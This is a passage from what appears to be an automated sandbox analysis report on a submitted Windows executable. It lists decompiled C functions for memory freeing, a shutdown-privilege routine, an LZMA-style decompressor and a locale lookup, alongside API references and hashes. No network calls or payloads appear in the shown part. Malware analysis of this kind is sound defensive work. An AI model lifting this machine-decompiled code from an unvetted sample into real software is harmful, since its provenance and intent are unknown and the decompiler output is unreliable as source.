                                                          0x004071b0
                                                          0x004071b9
                                                          0x004071c0
                                                          0x004071c4
                                                          0x004071c4
                                                          0x004071cd

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CloseHandle
                                                          • String ID:
                                                          • API String ID: 2962429428-0
                                                          • Opcode ID: 64faf51ca776932e32294bd7d298a65174b584c2d71aafb8e004403781b10225
                                                          • Instruction ID: eb663c3049cd41eaed7f8da649869d3065555633a8784fa47651b72bf01304ad
                                                          • Opcode Fuzzy Hash: 64faf51ca776932e32294bd7d298a65174b584c2d71aafb8e004403781b10225
                                                          • Instruction Fuzzy Hash: EFD05E91B01A6006E215F6BF4D8864692C94F88645B08843BF644EB3D1D67CAD009399
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00407B0C(void* __eax) {
                                                          				void* _t8;
                                                          				void* _t11;
                                                          
                                                          				_t11 = __eax;
                                                          				 *((intOrPtr*)(__eax + 0x18)) = 0;
                                                          				 *((intOrPtr*)(__eax + 0x20)) = 0;
                                                          				_t8 =  *(__eax + 0x1c);
                                                          				if(_t8 != 0) {
                                                          					VirtualFree(_t8, 0, 0x8000); // executed
                                                          					 *((intOrPtr*)(_t11 + 0x1c)) = 0;
                                                          					return 0;
                                                          				}
                                                          				return _t8;
                                                          			}





                                                          0x00407b0d
                                                          0x00407b11
                                                          0x00407b16
                                                          0x00407b19
                                                          0x00407b1e
                                                          0x00407b28
                                                          0x00407b2f
                                                          0x00000000
                                                          0x00407b2f
                                                          0x00407b33

                                                          APIs
                                                          • VirtualFree.KERNEL32(?,00000000,00008000,?,00407C49), ref: 00407B28
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: FreeVirtual
                                                          • String ID:
                                                          • API String ID: 1263568516-0
                                                          • Opcode ID: 9484b68ed88a4bcab3c5cd67a286607994066138370248db870f16f1437fe28e
                                                          • Instruction ID: 7b5879f7ecf15af23bee615e1cfb1b7bf134d3467332cfcfa004d2a9f5112783
                                                          • Opcode Fuzzy Hash: 9484b68ed88a4bcab3c5cd67a286607994066138370248db870f16f1437fe28e
                                                          • Instruction Fuzzy Hash: 3DD09EB17502005FDBD4DF794CC1B0336D47B48700B6184766908DB286E674D5108B54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E00408F74() {
                                                          				intOrPtr _v4;
                                                          				struct _TOKEN_PRIVILEGES _v16;
                                                          				void* _v20;
                                                          				long _t6;
                                                          
                                                          				if( *0x40a07c == 2) {
                                                          					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
                                                          						return E00408F54();
                                                          					}
                                                          					LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
                                                          					_v16.PrivilegeCount = 1;
                                                          					_v4 = 2;
                                                          					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
                                                          					_t6 = GetLastError();
                                                          					if(_t6 != 0) {
                                                          						return E00408F54();
                                                          					}
                                                          				}
                                                          				_push(0);
                                                          				_push(2);
                                                          				L004045B0();
                                                          				if(_t6 == 0) {
                                                          					return E00408F54();
                                                          				}
                                                          				return _t6;
                                                          			}







                                                          0x00408f7e
                                                          0x00408f90
                                                          0x00000000
                                                          0x00408f92
                                                          0x00408fa5
                                                          0x00408faa
                                                          0x00408fb2
                                                          0x00408fcc
                                                          0x00408fd1
                                                          0x00408fd8
                                                          0x00000000
                                                          0x00408fda
                                                          0x00408fd8
                                                          0x00408fe1
                                                          0x00408fe3
                                                          0x00408fe5
                                                          0x00408fec
                                                          0x00000000
                                                          0x00408fee
                                                          0x00408ff6

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(00000028), ref: 00408F83
                                                          • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00408F89
                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00408FA5
                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00408FCC
                                                          • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00408FD1
                                                            • Part of subcall function 00408F54: MessageBoxA.USER32 ref: 00408F6E
                                                          • 6CF14E70.USER32(00000002,00000000), ref: 00408FE5
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ProcessToken$AdjustCurrentErrorLastLookupMessageOpenPrivilegePrivilegesValue
                                                          • String ID: SeShutdownPrivilege
                                                          • API String ID: 3685916817-3733053543
                                                          • Opcode ID: 83f6bd937160e8a7ec3cf9db887a64d31fa1b7c661ec195b1942936c1731c410
                                                          • Instruction ID: c72e9f2ad070c17353680827fa8b856fe60a41768db99086813ff3da149a21e3
                                                          • Opcode Fuzzy Hash: 83f6bd937160e8a7ec3cf9db887a64d31fa1b7c661ec195b1942936c1731c410
                                                          • Instruction Fuzzy Hash: 1EF0ECA064430366E610B6728E07F2B61895F90B09F50483FBB94B51C3DEBD9449966F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 94%
                                                          			E004081C8(void* __eax, intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a4) {
                                                          				void* _v8;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				void* _v20;
                                                          				intOrPtr _v24;
                                                          				char _v25;
                                                          				void* _v32;
                                                          				char _v36;
                                                          				signed int _v40;
                                                          				signed int _v44;
                                                          				signed int _v48;
                                                          				signed int _v52;
                                                          				signed int _v56;
                                                          				signed int _v60;
                                                          				intOrPtr _v64;
                                                          				intOrPtr _v68;
                                                          				char* _v72;
                                                          				intOrPtr _v76;
                                                          				char _v80;
                                                          				signed int _v84;
                                                          				char _v85;
                                                          				char _v92;
                                                          				signed int _v96;
                                                          				signed int _v100;
                                                          				char* _v104;
                                                          				signed int _v108;
                                                          				signed int _v112;
                                                          				void _v132;
                                                          				intOrPtr _v148;
                                                          				signed int _t305;
                                                          				void* _t310;
                                                          				signed int _t312;
                                                          				signed int _t316;
                                                          				void* _t324;
                                                          				signed int _t328;
                                                          				signed int _t333;
                                                          				intOrPtr _t349;
                                                          				signed int _t360;
                                                          				signed int _t364;
                                                          				intOrPtr _t373;
                                                          				intOrPtr _t375;
                                                          				void* _t388;
                                                          				signed int _t398;
                                                          				char _t400;
                                                          				signed int _t404;
                                                          				void* _t414;
                                                          				void* _t423;
                                                          				void* _t430;
                                                          				char _t456;
                                                          				signed int _t503;
                                                          				signed int _t524;
                                                          				intOrPtr _t528;
                                                          				signed int _t530;
                                                          				intOrPtr _t532;
                                                          				signed int _t533;
                                                          				signed int _t537;
                                                          				void* _t539;
                                                          				intOrPtr* _t540;
                                                          
                                                          				_v16 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_v20 = _v8;
                                                          				_t456 = _v8 + 0x58;
                                                          				_v24 = _t456;
                                                          				memcpy( &_v132, _v20, 7 << 2);
                                                          				_t540 = _t539 + 0xc;
                                                          				_t404 =  *(_v20 + 0x4c);
                                                          				_t530 =  *((intOrPtr*)(_v20 + 0x30));
                                                          				asm("lock mov edx, [eax+0x34]");
                                                          				_v32 = _t456;
                                                          				_v36 =  *((intOrPtr*)(_v20 + 0x38));
                                                          				_v40 =  *((intOrPtr*)(_v20 + 0x3c));
                                                          				_v44 = 0;
                                                          				_v48 = (1 <<  *(_v20 + 0x48)) - 1;
                                                          				_v52 = (1 <<  *(_v20 + 0x44)) - 1;
                                                          				_v56 =  *((intOrPtr*)(_v20 + 0x40));
                                                          				_v60 =  *(_v20 + 0x50);
                                                          				_t414 = _v20;
                                                          				_v68 =  *((intOrPtr*)(_t414 + 0x28));
                                                          				_v64 =  *((intOrPtr*)(_t414 + 0x2c));
                                                          				_v72 =  *((intOrPtr*)(_v20 + 0x1c));
                                                          				_v76 =  *((intOrPtr*)(_v20 + 0x20));
                                                          				_t524 =  *((intOrPtr*)(_v20 + 0x24));
                                                          				if(_v76 == 0) {
                                                          					_v72 =  &_v80;
                                                          					_v76 = 1;
                                                          					_v80 =  *((intOrPtr*)(_v20 + 0x54));
                                                          				}
                                                          				if(_v60 != 0xffffffff) {
                                                          					_v104 = _v12 + _v44;
                                                          					while(1) {
                                                          						__eflags = _v60;
                                                          						if(_v60 == 0) {
                                                          							break;
                                                          						}
                                                          						__eflags = _v44 - _v16;
                                                          						if(_v44 < _v16) {
                                                          							_t398 = _t524 - _t530;
                                                          							__eflags = _t398 - _v76;
                                                          							if(_t398 >= _v76) {
                                                          								_t398 = _t398 + _v76;
                                                          								__eflags = _t398;
                                                          							}
                                                          							_t400 =  *((intOrPtr*)(_v72 + _t398));
                                                          							 *((char*)(_v72 + _t524)) = _t400;
                                                          							 *_v104 = _t400;
                                                          							_v44 = _v44 + 1;
                                                          							_v104 = _v104 + 1;
                                                          							_t524 = _t524 + 1;
                                                          							__eflags = _t524 - _v76;
                                                          							if(_t524 == _v76) {
                                                          								_t524 = 0;
                                                          								__eflags = 0;
                                                          							}
                                                          							_t74 =  &_v60;
                                                          							 *_t74 = _v60 - 1;
                                                          							__eflags =  *_t74;
                                                          							continue;
                                                          						}
                                                          						break;
                                                          					}
                                                          					__eflags = _t524;
                                                          					if(_t524 != 0) {
                                                          						_v25 =  *((intOrPtr*)(_v72 + _t524 - 1));
                                                          					} else {
                                                          						_v25 =  *((intOrPtr*)(_v72 + _v76 - 1));
                                                          					}
                                                          					__eflags = 0;
                                                          					 *_a4 = 0;
                                                          					while(1) {
                                                          						L17:
                                                          						_v104 = _v12 + _v44;
                                                          						__eflags = _v44 - _v16;
                                                          						if(_v44 >= _v16) {
                                                          							break;
                                                          						} else {
                                                          							goto L18;
                                                          						}
                                                          						while(1) {
                                                          							L18:
                                                          							_v84 = _v68 + _v44 & _v48;
                                                          							__eflags = _v112;
                                                          							if(_v112 != 0) {
                                                          								break;
                                                          							}
                                                          							__eflags = _v108;
                                                          							if(_v108 == 0) {
                                                          								_t305 = E00407EE4((_t404 << 4) + (_t404 << 4) + _v24 + _v84 + _v84,  &_v132);
                                                          								__eflags = _t305;
                                                          								if(_t305 != 0) {
                                                          									_t310 = E00407EE4(_t404 + _t404 + _v24 + 0x180,  &_v132);
                                                          									__eflags = _t310 != 1;
                                                          									if(_t310 != 1) {
                                                          										_t177 =  &_v36; // 0x407d67
                                                          										_v40 =  *_t177;
                                                          										_v36 = _v32;
                                                          										_v32 = _t530;
                                                          										__eflags = _t404 - 7;
                                                          										if(__eflags >= 0) {
                                                          											_t312 = 0xa;
                                                          										} else {
                                                          											_t312 = 7;
                                                          										}
                                                          										_t404 = _t312;
                                                          										_v60 = E00408094(_v24 + 0x664, _v84,  &_v132, __eflags);
                                                          										_t430 =  &_v132;
                                                          										__eflags = _v60 - 4;
                                                          										if(_v60 >= 4) {
                                                          											_t316 = 3;
                                                          										} else {
                                                          											_t316 = _v60;
                                                          										}
                                                          										_v96 = E00407F6C((_t316 << 6) + (_t316 << 6) + _v24 + 0x360, _t430, 6);
                                                          										__eflags = _v96 - 4;
                                                          										if(_v96 < 4) {
                                                          											_t533 = _v96;
                                                          										} else {
                                                          											_v100 = (_v96 >> 1) - 1;
                                                          											_t448 = _v100;
                                                          											_t537 = (_v96 & 0x00000001 | 0x00000002) << _v100;
                                                          											__eflags = _v96 - 0xe;
                                                          											if(_v96 >= 0xe) {
                                                          												_t333 = E00407E84( &_v132, _t448, _v100 + 0xfffffffc);
                                                          												_t533 = _t537 + (_t333 << 4) + E00407FB0(_v24 + 0x644,  &_v132, 4);
                                                          											} else {
                                                          												_t533 = _t537 + E00407FB0(_t537 + _t537 + _v24 + 0x560 - _v96 + _v96 + 0xfffffffe,  &_v132, _v100);
                                                          											}
                                                          										}
                                                          										_t530 = _t533 + 1;
                                                          										__eflags = _t530;
                                                          										L72:
                                                          										__eflags = _t530;
                                                          										if(_t530 != 0) {
                                                          											_push(0);
                                                          											_push(_t530);
                                                          											_t324 = _v44 + _v68;
                                                          											asm("adc edx, [ebp-0x3c]");
                                                          											__eflags = 0 - _v148;
                                                          											if(__eflags == 0) {
                                                          												__eflags = _t324 -  *_t540;
                                                          											}
                                                          											if(__eflags < 0) {
                                                          												L78:
                                                          												return 1;
                                                          											} else {
                                                          												__eflags = _t530 - _v76;
                                                          												if(_t530 <= _v76) {
                                                          													_t211 =  &_v60;
                                                          													 *_t211 = _v60 + 2;
                                                          													__eflags =  *_t211;
                                                          													while(1) {
                                                          														_t328 = _t524 - _t530;
                                                          														__eflags = _t328 - _v76;
                                                          														if(_t328 >= _v76) {
                                                          															_t328 = _t328 + _v76;
                                                          															__eflags = _t328;
                                                          														}
                                                          														_v25 =  *((intOrPtr*)(_v72 + _t328));
                                                          														 *((char*)(_v72 + _t524)) = _v25;
                                                          														_t524 = _t524 + 1;
                                                          														__eflags = _t524 - _v76;
                                                          														if(_t524 == _v76) {
                                                          															_t524 = 0;
                                                          															__eflags = 0;
                                                          														}
                                                          														 *_v104 = _v25;
                                                          														_v44 = _v44 + 1;
                                                          														_v104 = _v104 + 1;
                                                          														_v60 = _v60 - 1;
                                                          														__eflags = _v60;
                                                          														if(_v60 == 0) {
                                                          															break;
                                                          														}
                                                          														__eflags = _v44 - _v16;
                                                          														if(_v44 < _v16) {
                                                          															continue;
                                                          														}
                                                          														break;
                                                          													}
                                                          													L86:
                                                          													__eflags = _v44 - _v16;
                                                          													if(_v44 < _v16) {
                                                          														continue;
                                                          													}
                                                          													goto L87;
                                                          												}
                                                          												goto L78;
                                                          											}
                                                          										}
                                                          										_v60 = 0xffffffff;
                                                          										goto L87;
                                                          									}
                                                          									_t349 = E00407EE4(_t404 + _t404 + _v24 + 0x198,  &_v132);
                                                          									__eflags = _t349;
                                                          									if(_t349 != 0) {
                                                          										__eflags = E00407EE4(_t404 + _t404 + _v24 + 0x1b0,  &_v132);
                                                          										if(__eflags != 0) {
                                                          											__eflags = E00407EE4(_t404 + _t404 + _v24 + 0x1c8,  &_v132);
                                                          											if(__eflags != 0) {
                                                          												_t360 = _v40;
                                                          												_t168 =  &_v36; // 0x407d67
                                                          												_v40 =  *_t168;
                                                          											} else {
                                                          												_t166 =  &_v36; // 0x407d67
                                                          												_t360 =  *_t166;
                                                          											}
                                                          											_v36 = _v32;
                                                          										} else {
                                                          											_t360 = _v32;
                                                          										}
                                                          										_v32 = _t530;
                                                          										_t530 = _t360;
                                                          										L56:
                                                          										_v60 = E00408094(_v24 + 0xa68, _v84,  &_v132, __eflags);
                                                          										__eflags = _t404 - 7;
                                                          										if(_t404 >= 7) {
                                                          											_t364 = 0xb;
                                                          										} else {
                                                          											_t364 = 8;
                                                          										}
                                                          										_t404 = _t364;
                                                          										goto L72;
                                                          									}
                                                          									__eflags = E00407EE4((_t404 << 4) + (_t404 << 4) + _v24 + _v84 + _v84 + 0x1e0,  &_v132);
                                                          									if(__eflags != 0) {
                                                          										goto L56;
                                                          									}
                                                          									_t373 = _v44 + _v68;
                                                          									asm("adc edx, [ebp-0x3c]");
                                                          									__eflags = 0;
                                                          									if(0 != 0) {
                                                          										L41:
                                                          										__eflags = _t404 - 7;
                                                          										if(_t404 >= 7) {
                                                          											_t503 = 0xb;
                                                          										} else {
                                                          											_t503 = 9;
                                                          										}
                                                          										_t404 = _t503;
                                                          										_t375 = _t524 - _t530;
                                                          										__eflags = _t375 - _v76;
                                                          										if(_t375 >= _v76) {
                                                          											_t375 = _t375 + _v76;
                                                          											__eflags = _t375;
                                                          										}
                                                          										_v25 =  *((intOrPtr*)(_v72 + _t375));
                                                          										 *((char*)(_v72 + _t524)) = _v25;
                                                          										_t524 = _t524 + 1;
                                                          										__eflags = _t524 - _v76;
                                                          										if(_t524 == _v76) {
                                                          											_t524 = 0;
                                                          											__eflags = 0;
                                                          										}
                                                          										 *_v104 = _v25;
                                                          										_v44 = _v44 + 1;
                                                          										goto L17;
                                                          									}
                                                          									__eflags = _t373;
                                                          									if(_t373 != 0) {
                                                          										goto L41;
                                                          									}
                                                          									return 1;
                                                          								}
                                                          								_t388 = (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) * 2 + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) * 2 + _v24 + 0xe6c;
                                                          								__eflags = _t404 - 7;
                                                          								if(__eflags < 0) {
                                                          									_v25 = E00407FF4(_t388,  &_v132, __eflags);
                                                          								} else {
                                                          									_v92 = _t524 - _t530;
                                                          									__eflags = _v92 - _v76;
                                                          									if(__eflags >= 0) {
                                                          										_t118 =  &_v92;
                                                          										 *_t118 = _v92 + _v76;
                                                          										__eflags =  *_t118;
                                                          									}
                                                          									_v85 =  *((intOrPtr*)(_v72 + _v92));
                                                          									_v25 = E00408020(_t388, _v85,  &_v132, __eflags);
                                                          								}
                                                          								 *_v104 = _v25;
                                                          								_v44 = _v44 + 1;
                                                          								_v104 = _v104 + 1;
                                                          								 *((char*)(_v72 + _t524)) = _v25;
                                                          								_t524 = _t524 + 1;
                                                          								__eflags = _t524 - _v76;
                                                          								if(_t524 == _v76) {
                                                          									_t524 = 0;
                                                          									__eflags = 0;
                                                          								}
                                                          								__eflags = _t404 - 4;
                                                          								if(_t404 >= 4) {
                                                          									__eflags = _t404 - 0xa;
                                                          									if(_t404 >= 0xa) {
                                                          										_t404 = _t404 - 6;
                                                          									} else {
                                                          										_t404 = _t404 - 3;
                                                          									}
                                                          								} else {
                                                          									_t404 = 0;
                                                          								}
                                                          								goto L86;
                                                          							}
                                                          							return 1;
                                                          						}
                                                          						return _v112;
                                                          					}
                                                          					L87:
                                                          					memcpy(_v20,  &_v132, 7 << 2);
                                                          					_t528 = _t524;
                                                          					_t532 = _t530;
                                                          					 *((intOrPtr*)(_v20 + 0x24)) = _t528;
                                                          					_t423 = _v20;
                                                          					asm("adc edx, [ebp-0x3c]");
                                                          					 *((intOrPtr*)(_t423 + 0x28)) = _v44 + _v68;
                                                          					 *((intOrPtr*)(_t423 + 0x2c)) = 0;
                                                          					 *((intOrPtr*)(_v20 + 0x30)) = _t532;
                                                          					 *((intOrPtr*)(_v20 + 0x34)) = _v32;
                                                          					_t251 =  &_v36; // 0x407d67
                                                          					 *((intOrPtr*)(_v20 + 0x38)) =  *_t251;
                                                          					 *((intOrPtr*)(_v20 + 0x3c)) = _v40;
                                                          					 *(_v20 + 0x4c) = _t404;
                                                          					 *(_v20 + 0x50) = _v60;
                                                          					 *((char*)(_v20 + 0x54)) = _v80;
                                                          					 *_a4 = _v44;
                                                          					__eflags = 0;
                                                          					return 0;
                                                          				}
                                                          				 *_a4 = 0;
                                                          				return 0;
                                                          			}





























































                                                          0x004081d1
                                                          0x004081d4
                                                          0x004081d7
                                                          0x004081e0
                                                          0x004081e6
                                                          0x004081e9
                                                          0x004081f6
                                                          0x004081f6
                                                          0x004081fb
                                                          0x00408201
                                                          0x00408206
                                                          0x0040820a
                                                          0x00408213
                                                          0x0040821e
                                                          0x00408221
                                                          0x00408232
                                                          0x00408243
                                                          0x0040824c
                                                          0x00408255
                                                          0x00408258
                                                          0x0040825e
                                                          0x00408264
                                                          0x0040826d
                                                          0x00408276
                                                          0x00408280
                                                          0x00408283
                                                          0x00408288
                                                          0x0040828b
                                                          0x00408298
                                                          0x00408298
                                                          0x0040829f
                                                          0x004082b8
                                                          0x004082ed
                                                          0x004082ed
                                                          0x004082f1
                                                          0x00000000
                                                          0x00000000
                                                          0x004082f6
                                                          0x004082f9
                                                          0x004082bf
                                                          0x004082c1
                                                          0x004082c4
                                                          0x004082c6
                                                          0x004082c6
                                                          0x004082c6
                                                          0x004082d3
                                                          0x004082d4
                                                          0x004082da
                                                          0x004082dc
                                                          0x004082df
                                                          0x004082e2
                                                          0x004082e3
                                                          0x004082e6
                                                          0x004082e8
                                                          0x004082e8
                                                          0x004082e8
                                                          0x004082ea
                                                          0x004082ea
                                                          0x004082ea
                                                          0x00000000
                                                          0x004082ea
                                                          0x00000000
                                                          0x004082f9
                                                          0x004082fb
                                                          0x004082fd
                                                          0x00408315
                                                          0x004082ff
                                                          0x00408309
                                                          0x00408309
                                                          0x0040831b
                                                          0x0040831d
                                                          0x0040831f
                                                          0x0040831f
                                                          0x00408328
                                                          0x0040832e
                                                          0x00408331
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408337
                                                          0x00408337
                                                          0x00408340
                                                          0x00408343
                                                          0x00408347
                                                          0x00000000
                                                          0x00000000
                                                          0x00408351
                                                          0x00408355
                                                          0x00408375
                                                          0x0040837a
                                                          0x0040837c
                                                          0x00408441
                                                          0x00408446
                                                          0x00408447
                                                          0x00408575
                                                          0x00408578
                                                          0x0040857e
                                                          0x00408581
                                                          0x00408584
                                                          0x00408587
                                                          0x00408590
                                                          0x00408589
                                                          0x00408589
                                                          0x00408589
                                                          0x00408595
                                                          0x004085aa
                                                          0x004085ad
                                                          0x004085b0
                                                          0x004085b4
                                                          0x004085bb
                                                          0x004085b6
                                                          0x004085b6
                                                          0x004085b6
                                                          0x004085d7
                                                          0x004085da
                                                          0x004085de
                                                          0x0040864e
                                                          0x004085e0
                                                          0x004085e6
                                                          0x004085e9
                                                          0x004085f5
                                                          0x004085f7
                                                          0x004085fb
                                                          0x0040862b
                                                          0x0040864a
                                                          0x004085fd
                                                          0x0040861e
                                                          0x0040861e
                                                          0x004085fb
                                                          0x00408651
                                                          0x00408651
                                                          0x00408652
                                                          0x00408652
                                                          0x00408654
                                                          0x00408666
                                                          0x00408667
                                                          0x0040866d
                                                          0x00408670
                                                          0x00408673
                                                          0x00408677
                                                          0x00408679
                                                          0x00408679
                                                          0x0040867e
                                                          0x00408685
                                                          0x00000000
                                                          0x00408680
                                                          0x00408680
                                                          0x00408683
                                                          0x0040868f
                                                          0x0040868f
                                                          0x0040868f
                                                          0x00408693
                                                          0x00408695
                                                          0x00408697
                                                          0x0040869a
                                                          0x0040869c
                                                          0x0040869c
                                                          0x0040869c
                                                          0x004086a5
                                                          0x004086ae
                                                          0x004086b1
                                                          0x004086b2
                                                          0x004086b5
                                                          0x004086b7
                                                          0x004086b7
                                                          0x004086b7
                                                          0x004086bf
                                                          0x004086c1
                                                          0x004086c4
                                                          0x004086c7
                                                          0x004086ca
                                                          0x004086ce
                                                          0x00000000
                                                          0x00000000
                                                          0x004086d3
                                                          0x004086d6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004086d6
                                                          0x004086d8
                                                          0x004086db
                                                          0x004086de
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004086de
                                                          0x00000000
                                                          0x00408683
                                                          0x0040867e
                                                          0x00408656
                                                          0x00000000
                                                          0x00408656
                                                          0x0040845c
                                                          0x00408461
                                                          0x00408463
                                                          0x0040850d
                                                          0x0040850f
                                                          0x0040852a
                                                          0x0040852c
                                                          0x00408533
                                                          0x00408536
                                                          0x00408539
                                                          0x0040852e
                                                          0x0040852e
                                                          0x0040852e
                                                          0x0040852e
                                                          0x0040853f
                                                          0x00408511
                                                          0x00408511
                                                          0x00408511
                                                          0x00408542
                                                          0x00408545
                                                          0x00408547
                                                          0x0040855a
                                                          0x0040855d
                                                          0x00408560
                                                          0x00408569
                                                          0x00408562
                                                          0x00408562
                                                          0x00408562
                                                          0x0040856e
                                                          0x00000000
                                                          0x0040856e
                                                          0x00408487
                                                          0x00408489
                                                          0x00000000
                                                          0x00000000
                                                          0x00408494
                                                          0x00408497
                                                          0x0040849a
                                                          0x0040849d
                                                          0x004084ae
                                                          0x004084ae
                                                          0x004084b1
                                                          0x004084ba
                                                          0x004084b3
                                                          0x004084b3
                                                          0x004084b3
                                                          0x004084bf
                                                          0x004084c3
                                                          0x004084c5
                                                          0x004084c8
                                                          0x004084ca
                                                          0x004084ca
                                                          0x004084ca
                                                          0x004084d3
                                                          0x004084dc
                                                          0x004084df
                                                          0x004084e0
                                                          0x004084e3
                                                          0x004084e5
                                                          0x004084e5
                                                          0x004084e5
                                                          0x004084ed
                                                          0x004084ef
                                                          0x00000000
                                                          0x004084ef
                                                          0x0040849f
                                                          0x004084a2
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004084a4
                                                          0x004083ac
                                                          0x004083b1
                                                          0x004083b4
                                                          0x004083ef
                                                          0x004083b6
                                                          0x004083ba
                                                          0x004083c0
                                                          0x004083c3
                                                          0x004083c8
                                                          0x004083c8
                                                          0x004083c8
                                                          0x004083c8
                                                          0x004083d4
                                                          0x004083e2
                                                          0x004083e2
                                                          0x004083f8
                                                          0x004083fa
                                                          0x004083fd
                                                          0x00408406
                                                          0x00408409
                                                          0x0040840a
                                                          0x0040840d
                                                          0x0040840f
                                                          0x0040840f
                                                          0x0040840f
                                                          0x00408411
                                                          0x00408414
                                                          0x0040841d
                                                          0x00408420
                                                          0x0040842a
                                                          0x00408422
                                                          0x00408422
                                                          0x00408422
                                                          0x00408416
                                                          0x00408416
                                                          0x00408416
                                                          0x00000000
                                                          0x00408414
                                                          0x00000000
                                                          0x00408357
                                                          0x00000000
                                                          0x00408349
                                                          0x004086e4
                                                          0x004086f3
                                                          0x004086f8
                                                          0x004086f9
                                                          0x004086fc
                                                          0x00408702
                                                          0x00408708
                                                          0x0040870b
                                                          0x0040870e
                                                          0x00408714
                                                          0x0040871d
                                                          0x00408723
                                                          0x00408726
                                                          0x0040872f
                                                          0x00408735
                                                          0x0040873e
                                                          0x00408747
                                                          0x00408750
                                                          0x00408752
                                                          0x00000000
                                                          0x00408752
                                                          0x004082a6
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: g}@
                                                          • API String ID: 0-1586774684
                                                          • Opcode ID: 8d46861f72bd8009182a5df1658e23b09de12010c81d0541c91a6dece14fe47d
                                                          • Instruction ID: 29ac6ee7aeb58910d702f0d07e3e3cb2ca8e6f4e35164c68233af48c971c23aa
                                                          • Opcode Fuzzy Hash: 8d46861f72bd8009182a5df1658e23b09de12010c81d0541c91a6dece14fe47d
                                                          • Instruction Fuzzy Hash: DA223B75E042598FCB04CF99C980AEEBBB2FF88314F14456AD855BB385DB38A942CB54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E00405214(int __eax, char __ecx, int __edx) {
                                                          				char _v16;
                                                          				char _t5;
                                                          				char _t6;
                                                          
                                                          				_push(__ecx);
                                                          				_t6 = __ecx;
                                                          				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
                                                          					_t5 = _t6;
                                                          				} else {
                                                          					_t5 = _v16;
                                                          				}
                                                          				return _t5;
                                                          			}






                                                          0x00405217
                                                          0x00405218
                                                          0x0040522e
                                                          0x00405235
                                                          0x00405230
                                                          0x00405230
                                                          0x00405230
                                                          0x0040523b

                                                          APIs
                                                          • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00405416,?,?,?,00000000,004055C8), ref: 00405227
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
